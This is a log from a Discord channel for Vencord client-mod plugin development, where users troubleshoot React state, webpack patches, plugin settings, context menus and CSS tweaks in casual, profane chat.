#🧩-plugin-development
1 messages · Page 54 of 1
it doesn't update the value of the input box. so I am not able to write any sentences which ends me up not matching any keyword in the keyword list.
what i am trying to do is get the text everytime it updates
is there something unclear?
It could be that I am mistaken about how TextArea works, but I would expect it to keep track of its state internally, not externally
I don't think it tracks internally
at least TextInput doesn't
and I expect discord to have some kinda of consistency
or if it does we arent using
I never looked the at src
show your current code
Considering onChange is optional, I'm pretty sure it's supposed to not be required
isn't that what i am doing rn?
here part of it
export function TestInputBoxComponent(props: { currentRules: null | Array<AutoModRule>; }) {
const [inputValue, setInputValue] = useState('');
const [warningText, setWarningText] = useState('');
let currentRules: null | Array<AutoModRule> = props.currentRules;
const handleInputChange = (e) => {
const newValue = inputValue + e;
setInputValue(newValue);
};
useEffect(() => {
let match: undefined | MatchedRule = undefined;
if (currentRules != null) {
match = match_rules(inputValue, currentRules);
}
if (match !== undefined) {
setWarningText(`Match: ${match.rule.name}, filter: ${JSON.stringify(match.filter)}`);
} else {
setWarningText('');
}
}, [inputValue, currentRules]);
return (
<div>
<TextArea
type="input"
value={inputValue}
onChange={handleInputChange}
id="AutomodTestBox"
/>
<p
style={{ display: warningText ? 'block' : 'none', color: 'red', fontSize: '14px' }}
id="AutomodTestTextWarning"
>
{warningText}
</p>
</div>
);
}
Looking around how discord uses it, it seems the value usually comes from a useStateFromStores, so maybe it is meant to be tracked externally
What is it about that code that does not work?
everything is fine, but onchange
Also TextArea does not have a type prop, why are you passing it
That doesn't tell me anything
uh oh yes, forget to remove that. I tho because its not an input tag
as i said I want to keep track of the text so now ignored the onchange problem and let's talk about how we can keep track of text changes
the real question: how do I keep track of text changes in TextArea component
newValue should already be always update
but please remove the concatenation with initialValue
No, I'm pretty sure newValue will be the concatenation of all past values
alright well do
so no, don't remove?
You could probably just set onChange={setInputValue}
that too
but if you want to do stuff with the newValue just put what you need inside the onChange
or the useEffect with initialValue as dependency
Though tbh I'm not sure what useState setters do if they get surplus arguments
that what I was saying
Btw it's inputValue, not initialValue
yaya mb
I think the difference between putting stuff in the onChange vs useEffect is that useEffect will trigger on the initial render as well
yeah
hm, that doesn't sound good. do I need to care?
agree.
but at least better than the old code
you don't want to see it. its just me trying to make it work
Also you can do error={warningText} rather than rendering it manually
Actually wouldn't a useMemo work better than useEffect
i heard of it. going to see it now
I think js let x = useMemo(func, deps); does pretty much the same as ```js
let [x, setX] = useState();
useEffect(() => {
setX(func());
}, deps);
yes
Work completely different behind the scenes of course
I need help with the get webhookinfo embedding
EmbedJSON is only used at the network api boundary I'm pretty sure

so that means i have to name it to the normal Embed format?
looking at other plugins i saw one that used // @ts-ignore to counteract it
If you find that the type defs are inaccurate, why not improve them?
There is no @Sphirye here but I'll just talk into the void and hope for the best
For the find string, you're patching the "save image" item in the context menu, rather than the saveImage() function it calls
If you patched that instead you wouldn't have to implement the downloading by hand, get better error handling, etc
As for the patch, you are patching js { id: "save-image", label: v.default.Messages.SAVE_IMAGE_MENU_ITEM, action: A }, into ```js
{
id: "save-image",
label: v.default.Messages.SAVE_IMAGE_MENU_ITEM,
action: () => $self.saveImage(arguments[0]),
A
},
Thanks man ill be fixing this later
i dont know that much about css but why does the bar goes out of the container?

Padding/margin
i see
ok im unable to get this working xd nvm
I was wondering if there was a way to know if a item was outside of a container like so here
is it allowed to change settings of one plugin through another plugin?
yes but why
I am having an issue here
how I am supposed to change the settings of TypingTweaks plugins from ShowMeYourName plugin (found)
Oh my god what a bad moment to know nothing about regex
hmm a simple question. if I returned undefined instead of JSX.Element. will that not render the component?
yeah, though use null instead of undefined
alright, thanks. good to know
at this rate i might genuinely have to start sharing my fork around and promoting my fork over the main branch because the tiny change i made to a single plugin matters that much to me
vendicated agrees it's better so idk what i did wrong on my pr
cringe javascript style prop
dont worry about it
hey, how do you open a plugin's settings menu with openModal?
does anyone know how to make a ping work inside of an embed?
You mean like if someone posts a twitter link that contains @kyuuhachi in the text?
yea
doing the <@ userid > doesn’t work
modify the render func to return a ping
I would guess the markdown parser for embeds doesn't include the rules for that
i could just put it in the body instead of embed
switching users causes my discord instance to freeze until i force kill it, where reopening it afterwards (usually) opens in the correct user. is this perchance related to the KeepCurrentChannel plugin not knowing what to do?
i wonder if it’s possible to uhhh
Nope, uhhhing is impossible
i notice i crash a lot when rendering emotes
Sorry
If your rendering crashes a lot, it's usually a good idea to put in an ErrorBoundary
like when i scroll through my emotes sometimes my screen flashes white and then dc crashes
hmmm
how could i do that
Just wrap your jsx in <ErrorBoundary>...</ErrorBoundary>
okay maybe i should have asked, is it possible to make a plugin to prevent this crash? (oops i think i xyproblem’d)
becuase thé crash is not caused from any plugins i’m making
Wait you mean discord's own emoji menu crashes?
when i scroll for too long discord restarts (aka crashes)
and power usage spikes
and my discord screen starts flashing white when i scroll through emotes (on rare occasions)
idk what causes this
Not exactly plugin dev, but I just recieved this stupid fucking experimental feature that shows your friends' activities in the member list
There is no recent experiment to override that lines up with the criteria for this
https://support.discord.com/hc/en-us/articles/22045487931799-Members-List-Recent-Activity-FAQ
lmfao
i found what it was
it's part of packages
they use the /users/@me/content-inventory endpoint for that data

nvm
its back
help
Ok so I'm trying to figured out how to possibly not render where the notebook is getting deleted and always land on the 'Main' notebook
https://cdn.obamabot.me/y0gdz0lGVI.mp4
i have a feeling is trying to render something doesn't exist along those lines
async saveImage(e) {
var _;
S(
l.isPlatformEmbedded,
"Save image method called outside native app"
);
let E = u.default.toURLSafe(e);
if (null == E) return;
let t =
null !== (_ = E.pathname.split("/").pop()) && void 0 !== _
? _
: "unknown",
o = await G(e),
n = C.from(o);
D.fileManager.saveWithDialog(n, t);
}
How should i patch this on my plugin? i have not done regex stuff like this before
This is the module 50885
to do what
Forget about it i think im just missunderstading the kyuuhachi sugestion about patching the saveImage function
So could someone help me with this?
maybe try closing the modal before deleting the note
i could
try setTimeout
Pretty sure there's a callback somewhere for when the modal is fully closed
a what
how can i access this callback?
I dunno, first would be to find it or whether I'm misremembering
I know there's one for fullscreen menus, but not 100% on modals

oh man
i fixed it
another problem im getting is that this icon is black even tho is using currentColor
this icon
And have you set the color: appropriately?
Yes, or some parent element
That does not answer anything
im not sure
.vc-notebook-overflow-chevron {
display: inline-block;
padding: 0 6px 2px;
height: 16px;
position: relative;
top: -10px;
}
``` here is the only thing i have added for the button
If there is no color set, then it won't have any color
Where do you set the color of the tabs?
u mean the tab items?
You'd set the color of the icon in exactly the same way
Hi! Is it possible to send a plugin that I've made to a friend so they don't need to setup all the environment for it?
No
To use custom plugins, you need to build from source
You could build from source and send the compiled output to your friend I guess, but that'd make it difficult to update
where can I find the compiled output?
In the dist folder
Okay! what exactly I'd need to send?
The same thing as you'd install locally
How do I add a switch like in the plugin-Tab?
You mean, settings?
okay here's a wacky question
is there a good way to search for a function that gets the state of a component
because im pretty sure the user volume is set as the state of the user-volume component, and then whatever audio processing grabs that state to use as the volume value(i cant be sure though because idk what uses that state, i just know user-volume sets it)
The state of components is local
If it's externally visible, it's in a store somewhere
is there a way for me to see what accesses that store?
after all, i think i need to rewrite the volume handling code as is
Check how that volume slider is implemented and everything will follow from there
im tryin lol, an alright
if the info is there ill find it eventually
reading minified code is hell
OH YOU RIGHT
i was using devtools and then just went to the code it was from (forgot how callbacks work this is what i get for not doing webdev)
Hi, just wanted to know is this is viable, I'd like to try to make it myself.
All I'd like is to have a key bind for the highlighted text to speech button.
It's for an accessibility mod for a blind friend of mine, as the Windows text to speech has issues with discord.
Check the callback for that menu item and add some fancy way to trigger it
Yes (sry for the late answer)
is it possible to make a plugin that disables all profile decorations
i find them annoying as shit
you don't need a plugin, it's possible with just css
[class^=avatarDecoration_], [class^=profileEffects] {
opacity: 0 !important;
}```
(modified from [#🎨-css-snippets message](/guild/1015060230222131221/channel/1028106818368589824/p/1028109863915626526/#msg-1183780722524291083))
Discord is the easiest way to communicate over voice, video, and text. Chat, hang out, and stay close with your friends and communities.
you don't need a plugin for that, just css
hey speaking of 
that's only for avatar decor, not profile decorations/effects
i just wanna make sure i dont have anything set up incorrectly, would that callback be on this or on one of its children ( im not too familiar with how react handles rendering/state )
youre looking at the right thing
"User Volume" with maxValue=100 & onChange prop
thats jackpot
gotcha
i thought so i just didnt know if it was the thing i needed or not :D
tyty
I feel like i'm using the ?? operator wrong
username: webhookUsername ?? defaultName,```
if you dont put a webhook name, it does not seem to go to the defaultname
?? is supposed to fallback to the value on the right if the first one is null, undefined, etc, right?
oh
?
Can I edit a message (clent side only) with vencord api or do I need to use the patches?
There is very little you can do without patches
I see
But surely.. There is a better way to search for something in the code without adding a breakpoint and pressing the F10 key to go forward little by little, right?
(That is how I did it untill now 😳)
I mostly do it by browsing the code
It's just code
Yeah
How do you access the callback? Thanks for your reply btw
Copypaste the code inside the callback I guesd
Btw, do I really need to use the patches for that??
Alright, I guess I do
Depends on what level you want to edit them at
You could probably invoke the MessageStore in response to some flux event in some funny way, but that might cause funny client/server desync issues and the like
{
name: "pfp",
description: "Send with a custom profile picture.",
type: ApplicationCommandOptionType.ATTACHMENT,
required: false
},
const webhookProfilePic = findOption(option, "pfp");
Native.executeWebhook("" + webhookUrl, {
content: webhookMessage,
username: webhookUsername,
avatar_url: webhookProfilePic,
tts: findOption(option, "tts"),
});```
i cannot function past like 9, does anyone know why this doesn't send with the custom profile pic? (yes these are snippets the code does not look like this)
set breakpoints and see what the values are
My plan is to make a plugin that can censor certain words in messages and hopefully do the same for member names, bios, channels and so on (like how I thought "TextReplace" was for but it isn't 😔)
whats the point
Is it safe if I just try to get the function where Discord does the requests or... Will it break everything?
To me?
yes
In most cases it's safer to edit the rendering than the data storage
I hate swearing, so I wanted to make something that could censor them at least for me
aw shucks shit
Yeah, that's what I was trying to do
Sorry, I ment that, it is what I'm trying to do with patches
Since I was going kind of crazy because it's my first time working with patches, I was asking if there was an easier way with Vencord's API
I'll try to do it with patches
you cannot unless you do some jank with mutationobservers and raw dom
And you absolutely should not do that
You mean that I can't do it even with patches??
No, I mean that while it's theoretically possible to do without patches, it's an utterly terrible idea and should not even be attempted
Ah I see now. I'll try to do it using patches
My userplugin that creates a button in the right click context menu stopped working
it also adds something to the toolbox, and that's still working
The right click menu api was changed
The () => () => ... construction is not used anymore
Plus you can define menus with a key in the plugin rather than start/stop
do i not change from start and stop to this?
You don't need to, but it's more convenient
I want to patch a certain part of discord's css that is on the user profile. I decided to do this as a plugin instead of a snippet because I may plan on expanding on this idea further
The css class is js <div class="defaultColor__37d78 lineClamp2Plus__9938b text-sm-normal_e612c7" style="-webkit-line-clamp: 6;" and I want to change webkit-line-clamp: 6; to webkit-line-clamp: 0;
I tried this, but it did not work
patches: [{
find:
"defaultColor__37d78 lineClamp2Plus__9938b text-sm-normal_e612c7",
replacement: {
match: "-webkit-line-clamp: 6",
replace: "-webkit-line-clamp: 0"
}
}],```
Make a css file and change it there
Then import it in your plugin with ?managed and enableStyles
so i wont have to use any regex?
the fucking pain is that
it's not in a css class
it's literally set as a style= everytime its called
lets fucking go i did it
If it's not set in a css file, the impossibleness of patching css os no longer relevant
style= attributes are patchable
Is there any way of using an extra animation library ig. framer-motion in an plugin?
You can fetch it from a cdn, that's what I do in my tex plugin
But first consider whether react-spring, which discord already uses, is enough
where can I find the file that adds the settings switch buttons (container__871ba default-colors checked__6bdb0 / slider__41d94 vc-switch-slider) in vencord src?
I think you cant fetch framer-motion from an cdn
oh, I didn't know that
Why not?
In most cases you can substitute that for importing it from cdnjs or unpkg
Some packages explicitly mention that possibility, but that doesn't mean it's not there if not
reposting from vencord-dev
is there a way to override the initial app html on desktop (no this isn't an xy problem)
Even if the XY is not a problem I would be curious to know what the x is
Maybe try startAt
okay 👍
if there is a way it would be from the electron side
I know how to patch the scripts inside the html but that's not what you want
you mean the loading window at startup?
yeah I ended up writing a native plugin
no
trying to modify the html rn but the idea is
set a build id in plugin settings -> reload -> get the html for the given build id from my proxy -> somehow patch the document to use that html
one caveat is that given build id must be compatible with vencord
so no overriding 2018 builds with current vencord :^)
felt like a useful plugin to keep vencord functional when discord pushes a new update that breaks vencord in a way which would require major changes (ehm rspack)
I see
maybe we could do some help and include the discord build hash and the vencord commit hash in the reporter logs
Time Machine...
so you know what vencord commit works with what version
:pepega:
What’re you trying to make
discord's build override feature except you can use any build compatible with your vencord version
i request you to yeet that message, it's a method that i (and others) don't want to spread
ok

We need external soundboard
?? just use an external soundboard
yeah no sense making a plugin for what can be done better with a thirdparty application
Lots of people seem to want Discord OS for some reason
What the hell happened here?
I'm curious too, but it's clearly something they don't want to discuss
Probably something that'd get your account banned
Either that or something that makes an unmaintainable mess
Obligatory silly question
I want to inject a button that looks like the user avatar that opens the set status/user switcher popout
and why? where?
You mean like this one?
Yes
I want to shove it into my titlebar
this will likely break if I just use css Thinkies
my css is sooooo fucked too like it is so laggy
Just steal half of module 755729
Alright will take a look
yeah lol
this is plugins.Experiments.settingsAboutComponent = wreq(755729).default
youre gonna wanna do some hackery to remove the spotify controls and need to limit its dimensions
i'll probably just recreate the entire thing anyways 
Probably want to do something with findByCode() too, perhaps renderAvatarWithPopout(){
nop
ok time to explode
How.... do I actually get that component???
Which component
The one we were just talking about
I've tried a whole load of find stuff
and I can't seem to get it
returns null
might be because it's a class??????
Oh right findByCode doesn't look for code in the module but in the exports
Looks like you can use Webpack.search("renderAvatarWithPopout(){") to get the module id and then wreq it? Dunno if there's a better way
Feels pretty weird that byCode would behave like that imo
thats something
i managed to get it
findByCodeLazy("default.getEverSpeakingWhileMuted()");
Looks perfect
That's slightly better, but still way too tall
You're probably better off copying and modifying the code than trying to use the module
You can try my WIP decompiler output instead
Will look at that later, thanks
anyway
@quaint cipher do you still have the code for this? #🧊-off-topic-iceman-only message
i'm wondering how I can add my own route, this could potentially help
so you have done it before, mind sharing how?
i'm looking to build a whole replacement default page
it's neither, it's just something I don't want discord to get rid of :)
less people knowing about it = lower the chances of discord caring
true
Seems like most of the render logic is in https://canary.discord.com/assets/e3095f5a9b4ec01300c3.js
i gave up, electron too goofy for me to sanely intercept and modify requests
hello yes i do
i forgot where specifically but it somewhere in this file i think ill clear it up more in a moment however idk if its actually bad practice to add a new route
Here, I put some comments and left only the custom route stuff in I think
since both patches use $& I imagine you can stack multiple custom routes with 1 or more plugins and it'd work fine,, idk though
omg thank you
i will take a look at it properly in a couple hours (it is 2:52 am for me)
ok so basically i want to add a text input box in the plugin settings but have no idea how i might do this.
how do i do this.
Look at other plugins
That's the answer to 49% of "how do I" questions
i did not know there were any that had this. brb while i look at all of the plugins
Another common answer is to look at the types
Followed by check how discord does things, though that can be a bit difficult at first
idk how to use typescript but it's readable enough for me to splice together a plugin from other plugins
hardest part for me would be figuring out the patch array
i'm doing something somebody else did but in with different things
new text
does typescript go in order (i.e. can't use a variable above where it's defined)
this is a dumb thing to ask, i understand, but it matters greatly
got it, moving one const
And functions you can do wherever
Which should generally be always
i'm dumb i never understand when someone tells me not to use var, var just works for me where sometimes const and let don't
The main difference between var and let is that var doesn't tell you when you're doing it wrong
Var will be declared in the top scope and let is declared in the current scope
^
shitty plugin done
however, i know nothing about how to test it because rat brain did not think that far
How do you know it's done if you haven't tested it
the initial phase (denial) is complete
technically speaking the entire plugin is not ready for commercial production
ok so from what i can tell i just do the thing in docs "installing" but use my own repo instead of the official
will be uninstalling vencord so i can try this
pnpm inject
got my shit in
ok big problem but not perm
i installed from the incorrect repo
do i need to uninst or is it possible for me to just inst my version over it
FUCK i forgot the repo folder
found it
feeling good now
ok so i might not know the issue with my code
const settings = definePluginSettings({
replaceEvents: {
description: "Replace Event Quotes too",
type: OptionType.BOOLEAN,
default: true
},
replacementText: {
type: OptionType.STRING,
description: "Replacement text (use the format)",
default: '"optionOne", "optionTwo"',
onChange: onChange,
isValid: (value: string) => {
if (!value) return "String is required.";
return true;
}
});```
src/plugins/customLoad/index.ts:41:1: ERROR: Expected "}" but found ")"
should i put } again?
Well, your braces are mismatched so
i did not see the thing on the isValid line
fuck
builds successfully now
inject time
funny thing vencord did not inject
it injects, says patched, but nothing happens in the client
Did you restart fully?
yep
figured it out, gonna go die now
coding is so fucking funny
const settings = definePluginSettings({
replaceEvents: {
description: "Replace Event Quotes too",
type: OptionType.BOOLEAN,
default: true
},
replacementText: {
type: OptionType.STRING,
description: "Replacement text (use the format)",
default: '"optionOne", "optionTwo"',
isValid: (value: string) => {
if (!value) return "String is required.";
return true;
}
}
});
const quotes = [
replacementText
];```
wdyfm replacementText is not defined
Exactly what it says
(i know the issue but i am too stupid to know how to fix it)
you have settings
settings.replacementText exists though
right off to the gallows with me then but not before i fix this damned plugin
you have to pull replacementText from settings
LET US FUCKETHING GO
working. full of joy.
it's there it's there
huzzah
ok first time it crashed my client but we back
will now be turning off my wifi in hopes that it shows the custom texts
wait actually i need more
the final test ™️
didn't fucking work
nothing in console which means i'm now in the worst of the phases of developer™️
changed more shit, retrying
Did you enable the plugin
yes
the loading uotes are now blank (my cue key does not work forgive me)
i got like fifteen kwotes to use, but nothing gets used and nothing is in console
which makes me think the array is empty? i think?
i'm just chopping up another plugin and trying to make it do what i want. (i kept the original authors of the plugin)
from looking at the code, i can say "this doesn't look like it'd work but i don't know why"
lemme use notepad++ instead of notepad for once
this has not helped me.
is this shit just javascript or is it typescript. it's fucking with my head and i still don't know what i'm doing
But all valid javascript is also valid typescript
this changes everything
Well, syntactically anyway, you might get type errors
i can probably figure this out
i'm glad i now know, though, why i've been vomiting when i look at this code
it's good code but unfamiliar to my brain
similar to how water in foreign countries can make you shit yourself
console.log time
if (!value) console.log("String is required."), return "Fuck you";
return true;```
so this is valid in theory?
im still figuring out the syntax
No, return after a comma is not valid
if (!value) return console.log("String is required."), "Fuck you";
``` is valid however
what in the name of fuck is this syntax
(The joy of the comma operator)
Whar
ok time to repatch and die horribly
ok still not working but interesting development
the string did not print
this means it does exist
the value
Or that the function is never called
const quotes = [ settings.replacementText ];
get quote() { return quotes[Math.floor(Math.random() * quotes.length)]; }
so then one of these two might be the fuckup
That is indeed an array of length 1
i did not touch the other code so it must be one of these
fuck
Where that one value is not a string
FUCK
so then
settings.replacementText.value maybe? the default is "optionOne", "optionTwo"
i am genuinely sorry for taking up so much time
Presumably you'd want to read the setting when it's being used
i am possibly a dumb fucker
reinjecting
they be fucking me over
ok so i haven't figured it out but i think i have something
i know that replacementText IS defined, but not value
by the logic of this i would think return const theValue = value, "value exists and set" might work and i shall try it
replacing the bit in the uotes with "true".
No, you cannot have statements inside a return statement
Just do whatever value you want to return in the return statement
I wouldn’t do comma operator
It’s ugly
Yeah comma operator fucking sucks
Use {} instead
Reading minified code would be much easier if comma operator did not exist
while i had discord closed, i ended up with
const theValue = value; return true;
But why
oh
oh.
i'm not worthy of the title of "js knower"
ok so if i need to define smth in somewhere but read it outside of that scope, is var acceptable
genius actually
let foo;
if (bar) {
foo = 4;
} else {
foo = undefined;
}
console.log(foo);
let theValue
my greatest line of programming ever
i'm now back at the issue of "empty shit haha"
no "IT WORKED" in the console
meaning it did, in fact, not work
what if i do the thing i probably should've done all along but never stopped once to think about: make an array
undefined is not fucking iterable
Have you considered, console.logging your value
not once.
trying it one second
undefined
so i now know for sure the issue is somewhere within
this
notepad++ with a broken tab key
Never use notepad++
Use vscode
And I genuinely don’t think the comma notation is valid
can we meet in the middle with sublime text
That comma notation is perfectly valid, it just fucking sucks
Then don’t use it
returning literally nothing > returning "fuck you"
Also vscode will actually show you errors and you don’t need an external terminal

man my wifi is too ass to get to the page fuck
it worked
i dislike typescript, makin me download a whole ass thing
nothing like html.
i work in fucking notepad
default windows notepad
I've done pretty ok with nvim, but been thinking of trying vscode
thats like saying "i dislike industrial farming. it makes me use a tractor instead of doing it by hand"
yes, i agree with you
then why say it xd
because i am waiting for my tractor to download
whereas i could continue attempting with my cart and oxen
will probably wait though
i'm out of ideas
tractor installing ⚠⚠
it looks nice as hell tbh
what now.
I have no idea where to ask this now, because they yelled at me in the support channel for asking questions about [third party] plugins...
I'm trying to figure out how to install a search-replace plugin... I think I've found a couple of them, but they're all third-party... I've gone through the install steps to reinstall vencord from source/git, and now I'm trying to figure out where to put the plugins so they show up in the plugin selector...
I think I got the "hello world" plugin to show up, but the search replace one still isn't... >_>
read the docs
it tells you how
if you dont understand => its not for you dont do it
there you go
Step 1: install vencord
Step 2: copy plugin to src/userplugins/
src/userplugins doesn't exist... I create that dir
then create a plugin in it, and it doesn't show up
reboot discord
still doesn't show up
did you install via command line?
vs code is doing nothing for me n i need sleep. leaving my code here so if someone smarter than myself notices a glaring issue, they can reply with ping so i can see it when i wake up
gn
This isn't a great answer, when the docs don't describe the issue I'm facing... I followed the docs, created a hello world plugin, it shows up in the search for plugins... I copied the plugin I'd like to use to the same folder, and it doesn't show up... I deleted the original hello world plugin, and somehow it still shows up in the search.
I consider myself fairly technically savvy, but the docs aren't helping me here, and neither is rtfm.
I am following the instructions here: https://github.com/Vendicated/Vencord/blob/main/docs/1_INSTALLING.md
do you want me to just ban you or will you stop misusing channels and evading restrictions
it's incredibly easy to install plugins if you follow the instructions properly
Like it or not, the rules clearly state that no support is given for userplugins
Shiki code blocks break when the code block is inside an embed
Are you sure that's because it's an embed and not because it's ```ansi
Also are you sure this is the right channel?
i've taken a look at this, I'd just like to say that this is obviously just NavigationRouter? NavigationRouter already has types
good morning
yeah sounds about right
ah okay then
Property 'replacementText' does not exist on type 'DefinedSettings<{ replaceEvents: { description: string; type: OptionType.BOOLEAN; default: true; }; replacementText: { type: OptionType.STRING; description: string; default: string; isValid: (value: string) => true | undefined; onChange: () => void; }; }, SettingsChecks<...>, {}>'.
ok maybe should just ask this basic thing
how the FUCK do i get the things in the defined settings. settings.insertThingINeed does not work
very xy
nor does settings.insertThingINeed.valueINeed
i think so?
i am almost definitely xying myself. basically i can't figure out how to set a variable (declared at the beginning of the code with let) inside of a smaller scope that i could then fetch the value of (i think this is the issue, anyway, meaning i'm currently double xying myself)
show code
latest version, earlier version is up in chat from right before i went to bed
completely get rid of theValue
you do not need onchange
hm
you want to get quotes by JSON.stringify("[" + settings.store.replacementText + "]") or something like that
wrap that in some sort of function maybe
Cannot access settings before plugin is initialized
Stop putting random constants around then
Use a function to get the settings value
hold on

are plugin settings even loaded by the time that needs to be accessed? probably
we're getting there.
it's not fully working, this isn't the text i chose, but i think there's an h somewhere.
and my text is all capitals
i think the math.random function is getting a letter instead of a phrase
which means the array might not exist and the only thing being fetched is a string?
probably
yes because youre doing Array.from(string) array doesnt magically know that you want to create an array out of comma separated values
use string.split(",")
ok, trying
we've gone from H back to blank text
checking console
nothing in console. adding console.log statements to the code to determine where i fucked up
retrying
ok the console.log statement made it work, but before and after the text it shows " and a slash, forgor if back or forward slash
yup "
\
\ before "
no thats just wrong
i love discord
"oh you wanted to inject a debugger statement with the overrides feature" how about lets crash your devtools and entire browser instead
why do you need datastore for this?
to store the quotes?

wdym husk
why can't you just ```js
JSON.parse(JSON.stringify([${settings.store.replacementText}]))
in the quote getter
because performance 🤓☝️
parsing only on change vs parsing every load
well it's just a few ms
but bleh
i wanna remake a betterdiscord plugin on vencord, haven't really messed with either of them regarding making a plugin
would it be a struggle to do orrr?
first time using vencord too heh
take a look at the docs directory
also take a a look at the source for existing plugins
thank you
rebooting my shitcord, just finished making a modification as per husk's suggestion, was washing dishes (my shitty drain is as wide as a silver dollar and runs very slowly)
ok it came up empty
updated by adding a console.log
this is interesting
it prints the array on one line, but also, when asked to get the fucking random thing, it goes undefined
get quote() {
getText();
console.log(quotes);
let arrayOfLines = Array.from(quotes.split(","));
console.log(arrayOfLines[Math.floor(Math.random() * quotes.length)]);
return arrayOfLines[Math.floor(Math.random() * quotes.length)];
}
});```
entirely clueless why this wouldn't work
Why are you calling getText without doing anything with it
getText sets quotes
Ew, don't
™️
horror
my current batshit crazy shit
you must understand my journey in javascript programming started because i hated the localized names in jojo's bizarre adventure on tubi tv
i'm not very good
let arrayOfLines = Array.from(quotes.split(","));
quotes is already an array
what the fuck are you json stringifying for
the point of parsing is a cheap to array with quotation marks
i am only doing what the funny internet people are telling me to do, i don't understand half of this
the other half is javascript that i, myself, wrote
This is like super trivial stuff ```js
get quote() {
const lines = JSON.parse([${settings.store.replacementText}]);
return lines[Math.floor(Math.random() * lines.length)];
}
Might want to put in a try-catch so you don't brick the whole discord if you make invalid syntax
if this works im going to be so happy and so pissed
a fucking what
works now.
exactly as intended.
shitting myself
alright which ones of you want to be added to the authors section. if any.
making a fucking pull reuest. right now.
you're trying to make a rocket without knowing what an engine is
perhaps learn js first
Learning the language you are using is generally a good idea

just make a rocket without a engine
But the you will not go to space today
uh that's weird to see here
Weird to see here, indeed
This was just programming btw
huh logical. anyways
an even better idea is to use the project to learn the language
That is certainly true
thats basically what im doing juggling porting volumebooster and writing a rift and rift s linux driver
(i barely know c++ or ts)
how can you determine which guild a channel belongs to using its id?
vouch for this
dont channels have a guild_id property
I am getting a channelid from flux event
so it's basically a string
pass it through ChannelStore.getChannel
this could work. thanks
i fucking hate how you cant .click() an svg
huh?
i need to click the parent of the svg instead of the svg contents itself 
In what context do you need to programmatically click a svg
When you have a svg that works as a button
That you for some reason want to click programmatically yes
Я русский
No thanks
why when I'm trying to findByCode(".Messages.COLLAPSE_CATEGORY") it's always undefined but when I inspect ChannelCategory class > click source and opens the file with function then suddenly findByCode(".Messages.COLLAPSE_CATEGORY") works correctly. findByCodeLazy doesn't work too until open the file
lazy loaded maybe
I think findByCode only searches in the default export, not in the whole module source
{
find: "",
replacement: {
match: /true/g,
replace: "math.random() > 0.5"
}
}```
{
find: ""
replacement: {
match: /0/g,
replace: "1"
}
}
I would also recommend a /g
thank u sir i dont know how to write replacements
Nitpicking jokes is kind of my thing
{
find: "",
replacement: {
match: /.*/,
replace: "()=>{}",
},
all: true,
}
{
find: "",
replacement: {
match: /e/g,
replace: "t"
},
all: true
}```
{
find: ""
replacement: {
match: /.*/g,
replace: ""
},
all: true
}
For all the (e, t, s)s
{
find: "color",
replacement: {
match: /color/g,
replace: "colour",
},
all: true,
}
become british
{
find: "",
replacement: {
match: /.or/,
replace: "our"
},
all: true
}```
syntax error moment
i think you mean /.or/
🤷♂️ I haven’t really learned regex yet, I probably should sometime
Yeah, and I use the Patch Helper plugin
READ
idk
sorry if this sounds stupid (i'm new to contributing to open source stuff), can i add new features to someone else's plugin? made some modifications to InvisibleChat that i'd like to PR
yes
ok, thanks
If it has a repo, it can be forked and pred
i see
For future reference, almost all repositories nowadays have a CONTRIBUTING.md, read that to see what you are allowed to pr
okay, thanks
anyone know how i can get clyde to embed images instead of just doing this?
Pass it in the attachments field, dont just send a link
this is what i have, which is def not the right way to go about it xd
do you know of a way i could do it better?
I cant read giant screenshots of code
It’s on your computer just paste it into discord as a code block
was abouta say the same thing 💀
mb (dont mind the placeholder text lol)
import definePlugin from "../../utils/types";
import { ApplicationCommandInputType, ApplicationCommandOptionType, findOption, OptionalMessageOption } from "../../api/Commands";
import { ReactionEmoji, Message, MessageReaction, JSMessage } from "discord-types/general";
import { mergeDefaults } from "@utils/misc";
import { findByPropsLazy } from "@webpack";
import { MessageActions, SnowflakeUtils } from "@webpack/common";
import type { PartialDeep } from "type-fest";
const MessageCreator = findByPropsLazy("createBotMessage");
function rand(min, max) {
return Math.floor(Math.random() * (max - min + 1)) + min;
}
async function fetchReddit() {
const res = await fetch(`https://www.reddit.com/r/guiltygear/top.json?limit=100&t=all`);
const resp = await res.json();
try {
const { children } = resp.data;
let r = rand(0, children.length-1);
return children[r].data.url;
} catch (err) {
console.error(resp);
console.error(err);
}
return "";
}
export function sendBotMessage(channelId: string, message: PartialDeep<Message>): Message {
const botMessage = MessageCreator.createBotMessage({ channelId, content: "", embeds: [] });
MessageActions.receiveMessage(channelId, mergeDefaults(message, botMessage));
return message as Message;
}
export default definePlugin({
name: "the",
description: "fart",
authors: [{ name: "sol badguy", id: 554875756379897860n }],
dependencies: ["CommandsAPI"],
commands: [
{
name: "balls",
description: "my name deez",
inputType: ApplicationCommandInputType.BOT,
execute: async (opts, ctx) => {
sendBotMessage(ctx.channel.id, { content: await fetchReddit() });
},
}
]
});```
lint it
left it there from testing stuff and trying to get it to work
The message parameter takes in what it sent to discord
If you look at the type that is an attachments field
Use that to send your image
Use ViewRaw plugin to find what goes into message object
theres a small bug (i think?) in the image zoom plugin that makes it so the zoom doesnt disappear if you mouseup while not being over the image... but it is https://xkcd.com/1172/ for me, as that's the only way I can change the settings of the zoom size and amount on touchpad lol
Feels like a feature tbh
do you mean when you let go of mouse hold outside of the image then mouse over the image again (with the button still released)?
ye
exactly
just saying this here so hopefully it doesn't get fixed anytime lmfao
well its certainly a bug but perhaps we could turn it into a proper feature
perhaps some other key you could press to lock zoom?
like ctrl or +
double click?
that would work as well
I had to make a double click detector for an embedded project in C++
annoyig
Thankfully my boss only wanted it to be used for one thing, so it doesn't have to be modular
in js its literally just dblclick event
yeah, I didn't have that liberty 
and it's custom hardware
hopefully not interrupting something/hopefully this is the right channel
... i have a user plugin which patches user context menus. i updated to latest vencord and suddenly that doesnt work! i bisected and the commit that made things not work was https://github.com/Vendicated/Vencord/commit/42a9fa2d47d2e0d0e4233436086e93f0b3dcb1af but that doesn't make sense cause it doesn't remove the old api. for reference here's the code i have:
start() {
addContextMenuPatch("user-context", AddBotMenuPatch);
addedCommands.clear();
cleanupState = undefined;
actualState = undefined;
},
stop() {
removeContextMenuPatch("user-context", AddBotMenuPatch);
if (cleanupState !== undefined) {
for (const k in cleanupState) {
actualState[k] = cleanupState[k];
}
}
},
is this a known issue? did the name for "user-context" change? (some plugins still use it so i doubt it?)
use this instead:
export default definePlugin({
contextMenus: {
"guild-context": ContextCallback("guild"),
"channel-context": ContextCallback("channel"),
"user-context": ContextCallback("user"),
}
});```
yeah i tried replacing this with:
start() {
addedCommands.clear();
